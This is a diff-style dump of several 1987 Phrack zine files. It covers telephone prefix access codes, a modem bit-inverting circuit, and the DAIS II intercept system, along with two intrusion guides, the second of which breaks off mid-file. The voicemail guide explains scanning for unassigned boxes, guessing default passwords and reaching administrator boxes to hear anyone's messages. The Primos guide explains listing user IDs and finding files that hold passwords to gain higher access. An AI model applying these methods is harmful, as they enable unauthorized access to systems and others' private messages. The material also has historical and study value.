+ |-|_______. Call Phreak Klass, Room 2600 ._______|-|
20
+ |PHRACK XI| [806][799][0016] Login:EDUCATE |PHRACK XI|
21
+ --------| |________________________________| |--------
22
+ |____________________________________|
23
+
24
+
25
+ The PACT (Prefix Access Code Translator) feature provides preliminary
26
+ translation data for features using access codes that are prefixed by a
27
+ special code. A standard numbering and dialing plan requires that individual
28
+ line and small business customers' (custom) calling use prefixed access code
29
+ dialing for feature access. PACT is offered on a per office basis. The PACT
30
+ is NOT used for the interpretation of Centrex dialing customers.
31
+ When a call is originated by the customer, a call register is used to
32
+ store the data about the call. The customer dials a prefix and a 2 digit
33
+ access code (table a). The PACT then looks at the digits to determine what
34
+ action should take place. Reorder or special service error messages will be
35
+ heard if you enter an unassigned code. If the code is accepted, then that
36
+ particular action will be performed. The PACT consists of the PACT head table
37
+ and the prefixed access code translator. The PACT feature allows the dialing
38
+ of a special code for a prefix. These are the '*' and '#'. If you have rotary,
39
+ then '11' and '12' are used respectively. To use PACT, the prefix must be
40
+ followed by a 2-digit code. This combination is then defined in terms of type
41
+ and subtype (table b).
42
+
43
+ TABLE A
44
+ ____________________________________________________________
45
+ | Access Code | Description of function |
46
+ |________________________|_________________________________|
47
+ | *2X - *3X (x= 0-9) | Growth to 2 or 3 digit codes |
48
+ | | (Future may call for these) |
49
+ | | |
50
+ | *4X - *5X - *7X | Local Area Signalling Services |
51
+ | | |
52
+ | *72 | Call Forwarding Activation |
53
+ | | |
54
+ | *73 | Call Forwarding Deactivation |
55
+ | | |
56
+ | *74 | 1-digit speed dialing |
57
+ | | |
58
+ | *75 | 2-digit speed dialing |
59
+ | | |
60
+ | #56 | Circuit Switched Digital |
61
+ | | Capability |
62
+ |________________________|_________________________________|
63
+
64
+ The subtranslator is always built 100 words long. A word is a binary code
65
+ which, when sent as a whole, act as a command. One word is equal to a 2-digit
66
+ access code. This subtranslator contains the PTW (Primary Translation Word).
67
+ The PTW contains the feature type subtype and feature subtype index to
68
+ determine the function of the dialed code. The feature subtype allows four
69
+ subtype tables to exist for feature type 31 (LASS). Index 0 is for LASS. Index
70
+ 1 is used for LASS on a pay per usage basis. Index 2 and 3 are currently not
71
+ used.
72
+
73
+ TABLE B (written in report form)
74
+ ================================
75
+
76
+ Feature Type: 0 (Unassigned)
77
+
78
+ Feature Type: 1 (1-digit abbr. dialing)
79
+
80
+ Subtypes: 0 (Speed Call)
81
+ 1 (Change the Speed Call List)
82
+ 2 (Invalid)
83
+
84
+ Feature Type: 2 (2-digit dialing.)
85
+
86
+ Subtypes: (Same as Feature 1)
87
+
88
+ Feature Type: 3 (Circuit Switch Digital Capability)
89
+
90
+ Subtype: 1 (CSDC 56 kilo bit service)
91
+
92
+ Feature Type: 4 (Usage Sensitive 3-way)
93
+
94
+ Feature Type: 5 (Cancel Call Waiting)
95
+
96
+ Feature Type: 20 (Call Forwarding Activate)
97
+
98
+ Feature Type: 21 (Call Forwarding deactivate)
99
+
100
+ Feature Type: 22 (Project Acct. Service (Autoplex))
101
+
102
+ Feature Type: 26 (Customer changeable Inter LATA carrier)
103
+
104
+ Feature Type: 27 (Voice/Data Protection)
105
+
106
+ Feature Type: 28 (MDS-Message Desk Service)
107
+
108
+ Subtypes: 0 (MDS activation)
109
+ 1 (MDS deactivation)
110
+
111
+ Feature Type: 30 (Residence Data Facility Pooling)
112
+
113
+ Feature Type: 31 (Local Area Signalling Services-LASS)
114
+ [index 0]
115
+
116
+ Subtypes: 0 (AR-Automatic Recall {Incoming Calls})
117
+ 1 (AR-Outgoing calls)
118
+ 2 (AR activation incoming/outgoing)
119
+ 3 (AR deactivation)
120
+ 4 (Customer Originated Trace Activation)
121
+ 5 (Distinctive Alert Activation)
122
+ 6 (ICLID activation)
123
+ 7 (Selective Call Rejection Activation)
124
+ 8 (Selective Call Forwarding activation)
125
+ 9 (Private Call Activation)
126
+ 10 (Distinctive Alert -OFF)
127
+ 11 (ICLID-OFF)
128
+ 12 (SCR-OFF)
129
+ 13 (SCF-OFF)
130
+ 14 (Private Call-OFF)
131
+ 15 (Distinctive Alert ON/OFF) toggle for opposite
132
+ 16 ICLID toggle on/off
133
+ 17 SCR toggle on/off
134
+ 18 SCF toggle on/off
135
+ 19 Private Call on/off
136
+ 20 Selective Call Acceptance-ON
137
+ 21 SCA OFF
138
+ 22 SCA toggle on/off
139
+ 23 (Computer Access Restriction) on
140
+ 24 CAR off
141
+ 25 CAR on/off
142
+ 26-31 (reserved for future LASS functions)
143
+
144
+ Index 1 Pay Per View
145
+
146
+ subtype: 0 (Order placement)
147
+ 1 (Order Cancel)
148
+
149
+ The PACT function is extremely important for LASS functions. PACT is what
150
+ lets you tell your switch what you want done. Without the PACT, communication
151
+ between you and your CO would not exist. PACT is the base foundation for the
152
+ use access codes.
153
+ ============================================================
154
+ = If you have any questions or comments, please leave mail =
155
+ = either on Phreak Klass Room 2600 or at 214-733-5283. =
156
+ ============================================================
157
+ = (c) The Executioner/PLP/TNT =
158
+ ============================================================
phrack/issue11/4.txt ADDED
@@ -0,0 +1,101 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Eleven, Phile #4 of 12
4
+
5
+ +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
6
+ +=+ Hacking Voice Mail Systems +=+
7
+ +=+ Written for Phrack XI +=+
8
+ +=+ by:-> Black Knight from 713 +=+
9
+ +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
10
+
11
+
12
+ Voice Mail is a relatively new concept and not much has been said about it.
13
+ It is a very useful tool for the business person and the phreak. The way it
14
+ works is that somebody wishing to get in touch with you calls a number,
15
+ usually a 1-800, and punches in on his touch-pad your mailbox number and then
16
+ he is able to leave a message for you. Business experts report that this
17
+ almost totally eliminates telephone tag. When a person wishes to pick up his
18
+ message all he needs to do is call the number enter a certain code and he can
19
+ hear his messages, transfer them, and do other misc. mailbox utilities.
20
+
21
+ Most VMSs are similar in the way they work. There are a few different ways
22
+ the VMSs store the voice. One way is that the voice is recorded digitally and
23
+ compressed and when heard it is reproduced back into the voice that recorded
24
+ it. Another method that is slower and uses more space, but costs less, stores
25
+ the voice on magnetic tape, the same type that is used to store data on a
26
+ computer, and then runs the tape at a slow speed. Using this method the voice
27
+ does not need to be reproduced in any way and will sound normal as long as the
28
+ tape is running at a constant speed. On some of the newer VMSs the voice is
29
+ digitally recorded and is transformed from the magnetic tape at about 2400
30
+ bits per second.
31
+
32
+ There are many different types and versions of voice mail systems. Some of
33
+ the best and easiest to get on will be discussed.
34
+
35
+ Centagram
36
+ ---------
37
+ These are direct dial (you don't have to enter a box number). To get on one
38
+ of these, first have a number to any box on the system. All of the other
39
+ boxes will be on the same prefix; just start scanning them until you find one
40
+ that has a message saying that person you are calling is not available. This
41
+ usually means that the box has not been assigned to anybody yet. Before the
42
+ nice lady's voice tells you to leave the message, hit #. You will then be
43
+ prompted for your password. The password will usually be the same as the last
44
+ four digits of the box's number or a simple number like 1000, 2000, etc. Once
45
+ you get on, they are very user friendly and will prompt you with a menu of
46
+ options. If you can't find any empty boxes or want to do more, you can hack
47
+ but the system administrators box, which will usually be 9999 on the same
48
+ prefix as the other boxes, will allow you to hear anybody's messages and
49
+ create and delete boxes.
50
+
51
+ Sperry Link
52
+ -----------
53
+ These systems are very nice. They will usually be found on an 800 number.
54
+ These are one of the hardest to get a box on because you must hack out a user
55
+ ID (different from the person's box number) and a password. When it answers,
56
+ if it says, "This is a Sperry Link voice station. Please enter your user ID,"
57
+ you will have to start trying to find a valid user ID. On most Sperrys it
58
+ will be a five digit number. If it answers and says, "This is an X answering
59
+ service," you first have to hit *# to get the user number prompt. Once you
60
+ get a valid user number will have to guess the password on most systems, it
61
+ will be 4 digits. Once you get in, these are also very user friendly and have
62
+ many different options available.
63
+
64
+ RSVP
65
+ ----
66
+ This is probably one of the worst VMSs but it is by far the easiest to get
67
+ yourself a box. When it answers you can hit * for a directory of the boxes on
68
+ it (it will only hold 23). If you hit # you will be given a menu of options
69
+ and when you choose an option you will then be prompted for your ID number.
70
+ The ID number on an RSVP system will just about always be the same as the
71
+ mailbox number, which are always only 2 digits.
72
+
73
+ A.S.P.E.N.
74
+ ----------
75
+ The Aspen voice message systems made by Octel Telecommunications is in my
76
+ opinion the BEST VMS made. To get a box on an Aspen, you need to find an
77
+ empty box. To find an empty box, scan the box numbers and if one says, "You
78
+ entered XXXX. Please leave a message at the tone," then this is an empty box.
79
+ You next just press # and when prompted for your box number enter the number
80
+ of the empty box and friendly voice of the nice lady will guide you through
81
+ all of the steps of setting up your box. She first tells you what you can do
82
+ with the box and then will prompt you with, "Please enter the temporary
83
+ password assigned to you by your system manager." This password will usually
84
+ be 4 digits long and the same as the box number like 1000, etc. Once you get
85
+ on their are many things you can do. You can make a distribution list where
86
+ if you want to leave a certain message to more than one person, you can enter
87
+ the list number and all of the boxes on the list will get the message. You can
88
+ also have the system call you and notify you that you have new messages. These
89
+ systems also have what they call "Information center mailboxes" that are
90
+ listen only and can also have a password on them so the person calling has to
91
+ enter the password before he hears the greeting message. Aspen VMSs have a
92
+ system managers mailbox that will just about give you total control of the
93
+ whole system and let you listen to people's mail, create and delete boxes, and
94
+ many other things.
95
+
96
+ Thank you for reading this file and if you would like to get in touch with me
97
+ VIA VOICE MAIL call 1-800-222-0311 and hit *2155.
98
+
99
+ //--Black Knight from 713--\\
100
+ | for PHRACK XI (1987) |
101
+ \\--++--++--++--++--++--++-//
phrack/issue11/5.txt ADDED
@@ -0,0 +1,97 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Eleven, Phile #5 of 12
4
+
5
+ {Simple Data Encryption}
6
+ <or digital electronics 101>
7
+ By:{The Leftist}
8
+
9
+ Prologue:
10
+
11
+ Well, it's been awhile since I've done one of my activities files. This time
12
+ I've switched from chemistry to electronics. Hopefully, I will be writing
13
+ more files similar to this one. Also, I have devised a more sophisticated
14
+ encryption device, which I may release in the future
15
+
16
+ Do you run a BBS, living in fear that the "feds" are gonna log on, and fool
17
+ you into giving them a password? Do you wish that you could limit exactly WHO
18
+ logs onto your board? Well, this file is just for you..
19
+
20
+ Parts:
21
+
22
+ 1:9 volt battery
23
+
24
+ 1: 74hc/hct04 cmos hex inverter <about .50 cents>
25
+
26
+ Some basic knowledge of electronics might help, and some wire would be helpful
27
+ too. If you want to be fancy you can even splurge and get a 9 volt connector.
28
+
29
+ Note: Although it is not required that you put this on an etched PC board, you
30
+ can do this quite easily, and it makes for a much cleaner job.
31
+
32
+ Ok, the basic idea behind this scheme is this:
33
+
34
+ Data coming to and going from your modem is translated as 1's and 0's. This
35
+ represents highs and lows, which translate out to code which your computer
36
+ recognizes as valid data. Now, if you could switch all those 1's to 0's, and
37
+ 0's to 1's, then you would have a simple way of encrypting your data. That's
38
+ exactly what the hex inverter does. If it sees a 0, it makes it a 1. If it
39
+ sees a 1, it makes it a 0. So, what you want to do is have an inverter on your
40
+ send line, and an inverter on your receive line. The computer you are
41
+ connected to must also have inverters on its send and receive, or all you will
42
+ see will be garbage! I tried to be as non-technical as possible in this for
43
+ all you non-technical types out there.
44
+
45
+
46
+ Connections:
47
+
48
+ Hold the chip, and look at it. There should be a little notch in one end. Hold
49
+ it as illustrated in the schematic:
50
+
51
+ (80 columns)
52
+
53
+
54
+ ______________________________
55
+ | |
56
+ 14 13 11 12 10 9 8 |
57
+ | | | | | | | |
58
+ __________________ |
59
+ | | |_ to positive on battery
60
+ \ 74hc/hct04 |
61
+ / |
62
+ |__________________| to negative on battery
63
+ | | | | | | | |
64
+ 1 2 3 4 5 6 7______________|
65
+ | | | |
66
+ | | | |_________________________________to computer port
67
+ | | |_______________________________from modem
68
+ | |________________________________________________to modem conn.
69
+ |________________________________________________ from computer port
70
+
71
+
72
+ <all other pins are not connected>
73
+
74
+
75
+ Ok, hook the + 9volts up to pin 14, and the negative up to pin 7.
76
+ There are 6 inverters on this chip. For this, we will be using only 2 of them.
77
+
78
+ Find the wire coming from your computer to the send data line on your modem.
79
+ Sever this wire, and hook one side of it to pin 1. Hook the other end of it to
80
+ pin 2. Next, find the receive data line, and sever it. Hook one end of it to
81
+ pin 3, the other end to pin 4. That's about it.. if you want to use the other
82
+ inverters on the chip, here's the complete pinouts.
83
+
84
+ Pin# Name and function
85
+ ---- -----------------
86
+ 1,3,5,9,11,13 Data inputs
87
+ ---------------------------------
88
+ 2,4,6,8,10,12 Data outputs
89
+ ---------------------------------
90
+ 7 Ground
91
+ ---------------------------------
92
+ 14 VCC
93
+ ---------------------------------
94
+
95
+ Remember, that your BBS modem must have one of these devices on it, as well as
96
+ the user calling. I have tested this on Smartmodems, and it does work. If you
97
+ have an internal modem, this may be a little difficult for you.
phrack/issue11/6.txt ADDED
@@ -0,0 +1,270 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Eleven, Phile #6 of 12
4
+
5
+ Taran King Presents...
6
+
7
+ AIS - Automatic Intercept System
8
+
9
+ The DAIS II System by Computer Consoles Incorporated
10
+
11
+ INTRODUCTION...
12
+ ~~~~~~~~~~~~~~~
13
+ Computer Consoles Incorporated (CCI) manufactures various hardware
14
+ appliances to be used in conjunction with phone companies switches as well as
15
+ other aspects of the companies' uses, plus computer systems such as their own
16
+ Unix-supporting systems.
17
+ DAIS II is the Distributed Automatic Intercept System, which is the
18
+ system used to announce if the subscriber has dialed a non-working number.
19
+ This is what you hear, in action, when you dial a wrong number and get the 3
20
+ tones plus the announcement or the ONI (Operator Number Identification)
21
+ intercept operator ("What number did you dial?").
22
+ The information from this file comes mostly from an instructional
23
+ manual sent to me by CCI, who can be reached at 800-833-7477 or 716-482-5000
24
+ directly, or may be written to at 97 Humbolt Street, Rochester, NY, 14609.
25
+
26
+ INTERCEPTION
27
+ ~~~~~~~~~~~~
28
+ Most definitely any person who has used a telephone in his life has,
29
+ by some means or another, come across the dreaded 3 tones, leading up to the
30
+ ever-so-cumbersome announcement telling of the disconnected or non-working
31
+ number. This file will go into how the whole system works.
32
+ After dialing the non-working number, the telco's Class 5 End Office
33
+ routes the call to DAIS II.
34
+
35
+ ANI Calls
36
+ ~~~~~~~~~
37
+ Provided that the End Office has Automatic Number Identification
38
+ (ANI) equipment, the equipment then identifies the digits of the called number
39
+ and sends them to the intercept system.
40
+ The system receives the called number from the end office, retrieves
41
+ information for that number from the intercept database, formulates the
42
+ message, and delivers it to the customer in an automated announcement. These
43
+ announcements can either be standardized or tailored to the independent
44
+ telephone companies' needs. If further assistance is required, the caller can
45
+ then stay on the line and wait for an operator to come onto the line.
46
+
47
+ ONI Calls
48
+ ~~~~~~~~~
49
+ When the End Office is primitive, and they don't have the ANI
50
+ equipment to do the above ritual, operators are directly involved. These
51
+ operators are also called into action when there is an ANI or DAIS II failure.
52
+ When the ONI (Operator Number Identification) call comes in, DAIS II
53
+ routes the call to the operator. The operator asks for the number that the
54
+ customer called and then keys it into her KDT (Keyboard Display Terminal).
55
+ After she hits the command key, the number's information is searched for in
56
+ the intercept database, the message is formulated, and the automated response
57
+ is announced. Once again, if the caller needs further assistance, an operator
58
+ will return to the line to help the subscriber.
59
+
60
+ Operators will return to the line for any number of reasons. They
61
+ include the following:
62
+
63
+ Unsuccessful Searches - After DAIS II receives the called number from ANI
64
+ equipment or from an operator, it searches the
65
+ database to find the intercept message associated with
66
+ the telephone number. The database contains all
67
+ 10,000 line numbers for each exchange in the calling
68
+ area. If the system cannot complete the search, the
69
+ number was either keyed in incorrectly or there is a
70
+ problem in the system. The call is then routed to an
71
+ operator and displays the intercepted number
72
+ (including NPA) on the KDT screen along with a message
73
+ indicating why the search could not be completed. If
74
+ the number was keyed in wrong, the operator will
75
+ correct the number, or else she will ask the
76
+ subscriber to re-dial the number.
77
+ Aborted Announcements - If a search is given successful but for one reason or
78
+ another the automated announcement cannot be given,
79
+ the call is routed to an operator. The KDT display
80
+ shows the intercepted number, the appropriate
81
+ information for a verbal response, and the message,
82
+ "VERBAL REPORT." In this case, the operator quotes
83
+ the message to the caller rather than activating the
84
+ automated response.
85
+ Reconnects - If a customer remains on the line for more information
86
+ after receiving the automated announcement, the system
87
+ routes the call to an operator. The operator's KDT
88
+ display shows the called number plus other pertinent
89
+ information given to the caller in the previous
90
+ announcement. From here, the operator can respond
91
+ verbally to the customer's needs, or activate the
92
+ automated system again. The DAIS II system allows up
93
+ to 4 reconnects per call, but the possible number of
94
+ reconnects available ranges from 0-3. With 1
95
+ reconnect, the operator must report verbally.
96
+ Split Referrals - If a number has been changed but replaced with two
97
+ numbers, this is called a "split referral." When the
98
+ database finds 2 or more numbers, the DAIS II system
99
+ routes the customer to an operator, displaying the old
100
+ number and new listings on the KDT screen. The
101
+ operator then asks which number they are looking for
102
+ and keys in the command key to activate the
103
+ announcement, or else they do the announcement
104
+ verbally.
105
+
106
+ Operator Searches
107
+ ~~~~~~~~~~~~~~~~~
108
+ Situations may arise where the subscriber needs more information
109
+ than was given by the automated announcement, or believes the information to
110
+ be invalid. DAIS II provides for operators to have access to both the
111
+ intercept and the DA databases at all times as long as the system
112
+ administrator, who judges the extent to which operators can use the
113
+ cross-search capability, allows it.
114
+
115
+ Components Of The System
116
+ ~~~~~~~~~~~~~~~~~~~~~~~~
117
+ The telco's Class 5 End Offices contain switching equipment that
118
+ routes calls to DAIS II. If the office has ANI equipment, the switch routes
119
+ the called digits to the intercept system in the form of multi-frequency
120
+ tones. The end offices route calls to DAIS II on dedicated (direct) trunks.
121
+ These direct trunks can carry ANI traffic or ONI traffic, but not both.
122
+
123
+ If trunk concentrators are used, the concentrator trunks to DAIS II
124
+ may carry ANI calls, ONI calls, or both, depending on the types of trunks
125
+ coming into the concentrators from the end offices. The call is identified as
126
+ ANI or ONI through MF tones transmitted by the concentrators.
127
+
128
+ If an operator must be involved (due to ONI or further assistance),
129
+ DAIS II routes the call to the telco's ACD (Automatic Call Distributor), which
130
+ is a switching device that routes calls to any available operator.
131
+
132
+ The intercept data base resides on disk in the ARS (Audio Response
133
+ System). ARS processors known as Audio Response Controllers (ARCs) search the
134
+ intercept database. If a call requires an operator's services, the Marker
135
+ Decoder Unit (MDU) provides ACD routing information to the ARC.
136
+
137
+ The DAIS II Automatic Intercept Communications Controllers (AICCs)
138
+ route messages between the ARCs and the DAIS II subsystems. An intercept
139
+ subsystem that is housed at the same location as the database is called a
140
+ Colocated Automated Intercept System (CAIS). A subsystem located at a
141
+ distance from the database is known as a Local Automated Intercept System
142
+ (LAIS). Each subsystem can provide automated announcements without using
143
+ expensive trunking to route ANI calls to a centralized intercept office. Only
144
+ calls that require operator assistance are routed on trunks to the ARS site.
145
+ Because those trunks are only held white the operator identifies the number
146
+ and are released before the announcement begins, trunk requirements are
147
+ reduced. The automated announcement is always given by the intercept
148
+ subsystem.
149
+
150
+ Each CAIS or LAIS site contains a Trunk Time Switch (TTS) and DAIS II
151
+ Audio Response Units (DARUs). Intercept trunks from the concentrators and the
152
+ Class 5 End Offices terminate at the TTS. When an ONI call comes in on one of
153
+ these trunks, the TTS routes it to the ACD. When an ANI call comes in, the
154
+ TTS routes the called number to the ARC. After the ARC retrieves the
155
+ appropriate message from the database, it sends that information back to the
156
+ TTS, which connects a DARU port to the trunk on which the call came in. Then,
157
+ the DARU produces an automated announcement of the message and delivers it to
158
+ the caller. ARS hardware generates only DA announcements whereas DAIS II
159
+ hardware generates only intercept announcements.
160
+
161
+ Automatic Intercept Communications Controller (AICC)
162
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
163
+ The AICC routes messages between the ARC and the TTS. Two units are
164
+ required to enhance system reliability. Each pair of AICCs can communicate
165
+ with up to 4 CAIS or LAIS subsystems.
166
+
167
+ The AICCs are similar to the Audio Communications Controllers (ACCs)
168
+ in the ARS system, but AICCs use a Bisynchronous Communications Module (BSCM)
169
+ instead of a LACIM.
170
+
171
+ An AICC can be equipped with up to 8 BSCMs, each of which handles one
172
+ synchronous communication line to the TTS. The BSCM models selected depend on
173
+ the location of the AICC with respect to the CAIS/LAIS sites. Standard SLIMs
174
+ (Subscriber Line Interface Modules) are required for communication with the
175
+ ARC.
176
+
177
+ Trunk Time Switch (TTS)
178
+ ~~~~~~~~~~~~~~~~~~~~~~~
179
+ The TTS has two types of components: the Peripheral Modules (PMs) and
180
+ the Common Controls (CCs).
181
+
182
+ The PM contains the printed circuit boards that provide the link
183
+ between the end office's ANI trunks and the ARC and between the ONI trunks and
184
+ the ACD. The activity of the PM is under direction of the CC
185
+
186
+ A PM rack contains five types of circuit boards: Multi-frequency
187
+ Receivers (MFRs), Analog Line Front Ends (ALFEs), T1 Front Ends (T1FEs),
188
+ Peripheral Module Access Controllers (PMACs), and Multi-purpose Peripheral
189
+ Devices (MPPDs).
190
+
191
+ The MFRs translate the intercepted number from multi-frequency tones
192
+ to ASCII digits for ANI calls; for ONI calls that come through a trunk
193
+ concentrator, the MFRs translate the tones sent by the concentrator to
194
+ indicate an ONI call. Based on the tones, the MFR determines the type of
195
+ call: regular, trouble, etc.
196
+
197
+ ALFEs convert incoming analog data to digital form so that it can be
198
+ switched on the digital network. They also convert outgoing digital data back
199
+ to analog. Incoming ALFEs provide the link between the TTS and the analog
200
+ trunks from the Class 5 End Offices. Outgoing ALFEs provide the link between
201
+ the TTS and the analog trunks to the ACD.
202
+ ALFE is subdivided into two types for both incoming and outgoing:
203
+ ALFE-A (contains the control logic, PCM bus termination, and ports for 8
204
+ trunks) and ALFE-B (contains ports for 16 trunks, but must be paired with an
205
+ ALFE-A in order to use the control logic and PCM bus on the backplane).
206
+ ALFE-As can be used without ALFE-Bs, but not vice versa.
207
+ Incoming ALFEs support E&M 2-wire, E&M 4-wire, reverse battery, and
208
+ 3-way signalling trunks. Outgoing ALFEs support E&M 2-wire, reverse battery,
209
+ and high-low trunking.
210
+
211
+ T1FEs provide the links between the TTS and the D3-type T1 spans from
212
+ the end offices. They also link the DARU VOCAL board ports and the TTS. Each
213
+ board has 24 ports in order to handle a single T1 span which carries 24 voice
214
+ channels.
215
+
216
+ PMAC is based on a Motorola 68000 microprocessor that directs and
217
+ coordinates data flow within the PM.
218
+
219
+ MPPD boards provide bus termination and the system clocks for the
220
+ digital network. The MPPD contains a master and a secondary clock, which are
221
+ synchronized with the frequency of an incoming T-1 span. The module also
222
+ contains its own clock for use when T-1 synchronization is not available or
223
+ lost.
224
+ The MPPD also generates the ringing tones, busy signals, and reorder
225
+ tones heard by the customer and sends the zip (alert) tone to the operator.
226
+
227
+ The CC controls the interaction between the PM components and the
228
+ DARU. It contains the Office Dependent Data Base (ODDB), which is a system
229
+ table that describes the configuration of the TTS. The CC uses the ODDB to
230
+ determine whether an incoming call is an ANI or ONI trunk.
231
+ The CC sets up paths through the digital network in order to
232
+ coordinate the resources of the CAIS/LAIS. It receives messages from the
233
+ PMAC, stores information necessary for returning a response to the appropriate
234
+ trunk, and controls message routing to and from the ARC or the operator. It
235
+ also synchronizes the TTS and the Directory Assistance System (DAS) for
236
+ operator-caller communications.
237
+ The CC is a Power-series standalone processor that contains a central
238
+ processing unit (CPU-2), based on the Motorola 68000 microprocessor. The
239
+ processor also contains distributed intelligence for controlling the memory
240
+ subsystem, the IO (input/output) subsystem, and the disk/tape subsystem. Each
241
+ CC includes a Winchester disk drive, a quarter-inch tape drive, and additional
242
+ miscellaneous hardware.
243
+
244
+ DAIS II Audio Response Unit (DARU)
245
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
246
+ The DARU contains the VOCAL boards that produce automated
247
+ announcements, which are compiled from a vocabulary stored in RAM. A
248
+ CAIS/LAIS contains 1 to 3 DARUs, each with 48 ports.
249
+ If a CAIS/LAIS houses more than one DARU, the units are multi-dropped
250
+ together. One DARU is always linked to the ARCs (either directly or by modems
251
+ and telephone lines) so that the announcement vocabulary can be downloaded
252
+ from the ARCs if necessary.
253
+
254
+ :=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:
255
+
256
+ Much of the information in this file is copied verbatim from the
257
+ instructional booklet sent to me by CCI. Their documentation is extremely
258
+ in-depth and well written, and, with some looking over, is easy to
259
+ understand. Much of the information in here is confusing with all of the
260
+ acronyms used as well as technical terms, but if you cross-reference acronyms
261
+ throughout the file, you should be able to see what it stands for. Also, if
262
+ you don't understand what something does, just think of it in terms of use by
263
+ the telephone company in the context used and you can generally get an idea
264
+ of what it does or is used for. I hope you enjoyed this file and continue to
265
+ read Phrack Inc. files to learn more about the system we use and experience.
266
+ Any constructive suggestions are welcomed directly or indirectly.
267
+
268
+ Taran King
269
+
270
+ :=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:
phrack/issue11/7.txt ADDED
@@ -0,0 +1,209 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Eleven, Phile #7 of 12
4
+
5
+ -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
6
+ ! !
7
+ # Hacking Primos I, II, III #
8
+ ! !
9
+ # (I&II Revised) #
10
+ ! !
11
+ # By Evil Jay #
12
+ ! !
13
+ -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
14
+
15
+
16
+ Author Note:
17
+
18
+ Ugg! I looked at my first file after it was released and saw a lot of
19
+ misspellings, errors and other screw-ups and was completely embarrassed. I
20
+ did not have time to edit the file and I was also writing the second file
21
+ which dealt with gaining privileges. I threw these two files at Taran King
22
+ who in turn merged them together. So I humbly apologize for all of the
23
+ errors in the last file. In this file I will revise the old file and
24
+ continue with some more methods of gaining access and also list out some
25
+ very basic commands for beginners. As I said before, if you have any
26
+ questions you can reach me on any board I am currently inhabiting. Hope to
27
+ hear from you...
28
+
29
+
30
+ *** Gaining Access From Scratch ***
31
+
32
+ I made a mistake in my last file and stated that FAM was not a default. FAM
33
+ is a default, but it can be taken out by the system administrators.
34
+
35
+
36
+ To get a listing of every possible account on a system, it is really quite
37
+ easy. They are located in the MFD directories. Type:
38
+
39
+ A MFD <MFD #> (Without the "<" and ">" signs)
40
+
41
+ Or just:
42
+
43
+ A MFD
44
+
45
+ Then type LD and hit return. Now, you will see a listing of files and
46
+ underneath should be a listing of directories appropriately named
47
+ Directories. These directories are valid User IDs. However, I believe that
48
+ directories that have an "*" character in them cannot be logged in to.
49
+
50
+
51
+ *** Getting Higher Access Revised ***
52
+
53
+ SYS1 is the highest system level there is. Meaning unless commands have to
54
+ be entered from the supervisors terminal, you can usually do anything with an
55
+ account that has SYS1 access. Also, I should clarify that SYS1 will not
56
+ always be the name of the highest access available. It could be named SYSTEM
57
+ or anything for that matter.
58
+
59
+ You are looking for a file with the extension .CPL - look for this file
60
+ under any of the SYS1 directories. When you find one, SLIST it. You are
61
+ looking for a line similar to:
62
+
63
+ A <DIRECTORY NAME> <PASSWORD>
64
+
65
+ It could look like:
